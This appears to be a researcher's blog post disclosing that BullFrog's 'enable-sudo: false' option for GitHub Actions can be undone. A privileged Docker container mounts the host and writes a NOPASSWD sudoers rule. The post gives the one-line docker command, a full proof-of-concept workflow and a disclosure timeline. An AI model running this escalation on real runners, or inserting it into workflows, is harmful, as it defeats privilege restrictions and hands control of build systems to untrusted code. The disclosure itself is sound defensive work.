devansh

sudo restriction bypass via Docker Group in BullFrog GitHub Action

Table of Contents


Intro Lore

Least privilege is one of those security principles that everyone agrees with and almost nobody fully implements. In the GitHub Actions context, it means your workflow steps should only have the access they actually need, and no more. Running arbitrary third-party actions or build scripts as a user with unrestricted sudo is a liability, one compromised dependency, one malicious action, and an attacker owns the runner.

BullFrog, the egress-filtering agent for GitHub Actions I wrote about previously, ships a feature called enable-sudo: false specifically to address this. Set it and BullFrog removes sudo access for all subsequent steps in the job, or so it claims.


What is BullFrog's enable-sudo?

enable-sudo is a BullFrog configuration option that, when set to false, strips sudo privileges from the runner user for all steps that follow the BullFrog setup step. It's designed as a privilege reduction primitive, you harden the environment early in the job so that nothing downstream can accidentally (or intentionally) run as root.

A typical hardened workflow looks like this:

- name: Set up bullfrog
  uses: bullfrogsec/bullfrog@v0.8.4
  with:
    egress-policy: block
    allowed-domains: |
      *.github.com
    enable-sudo: false

After this step, sudo -n true should fail, and subsequent steps should be constrained to what the unprivileged runner user can do.

How Sudo is Disabled

BullFrog achieves this by modifying the sudoers configuration, essentially removing or neutering the runner user's sudo entry. This works at the sudo command level, the binary is still there, but the policy that would grant elevation is gone.

The Docker Problem

On GitHub-hosted Ubuntu runners, the runner user is already a member of the docker group. This means the runner user can spawn Docker containers without sudo, no privilege escalation required to get Docker running.

And Docker, when given --privileged and a host filesystem mount, is essentially root with extra steps. A privileged container with -v /:/host can write anywhere on the host filesystem, including /etc/sudoers.d/.

The sudo restriction is applied at one layer. Docker punches straight through to the layer below it.


Vulnerability

The enable-sudo: false feature only removes the sudoers entry for the runner user. It does not restrict Docker access, does not drop the runner from the docker group, and does not prevent privileged container execution. Because Docker daemon access is equivalent to root access on the host, the sudo restriction can be fully reversed in a single docker run command — no password, no escalation, no interaction required.

docker run --rm --privileged -v /:/host ubuntu bash -c \
  'echo "runner ALL=(ALL) NOPASSWD: ALL" > /host/etc/sudoers.d/runner'

This drops a sudoers rule back into place by writing through the container's view of the host filesystem. After this, sudo -n true succeeds again and the runner has full root access for the rest of the job.


Proof of Concept

The following workflow demonstrates the full bypass, disable sudo with BullFrog, confirm it's gone, restore it via Docker, confirm it's back:

name: Disable Sudo Bypass PoC
on:
  [push, workflow_dispatch]

jobs:
  disable-sudo:
    runs-on: ubuntu-latest
    steps:
      - name: Secure Workflow with Bullfrog (Disable Sudo)
        uses: bullfrogsec/bullfrog@1831f79cce8ad602eef14d2163873f27081ebfb3
        with:
          egress-policy: audit
          allowed-domains: |
            github.com
            *.github.com
          dns-policy: allowed-domains-only
          enable-sudo: false

      - name: Verify sudo is disabled
        run: |
          if ! sudo -n true 2>/dev/null; then
            echo "āœ“ Sudo successfully disabled via Bullfrog."
          else
            echo "āœ— Sudo still available."
            exit 1
          fi

      - name: Restore sudo access via Docker (privileged container)
        run: |
          docker run --rm --privileged -v /:/host ubuntu bash -c \
            'echo "runner ALL=(ALL) NOPASSWD: ALL" > /host/etc/sudoers.d/runner'

      - name: Verify sudo is restored
        run: |
          if sudo -n true 2>/dev/null; then
            echo "āœ— Sudo restored. Bullfrog restriction bypassed."
            sudo cat /etc/sudoers.d/runner
          fi

The workflow output confirms the sequence cleanly, BullFrog disables sudo, the verification step passes, Docker writes the sudoers rule, and the final step confirms full sudo access is back — all within the same job, all as the unprivileged runner user, no external dependencies beyond the Docker image.


Disclosure Timeline

Reported to the BullFrog team on November 28th, 2025. No response, acknowledgment, or fix was issued in the roughly three months that followed. Disclosing publicly now. This is the second BullFrog vulnerability I'm disclosing simultaneously due to the same lack of response — see also: Bypassing egress filtering in BullFrog GitHub Action).

Affected Versions: v0.8.4 and likely all prior versions
Fixed Versions: None as of disclosure date (I did not bother to check)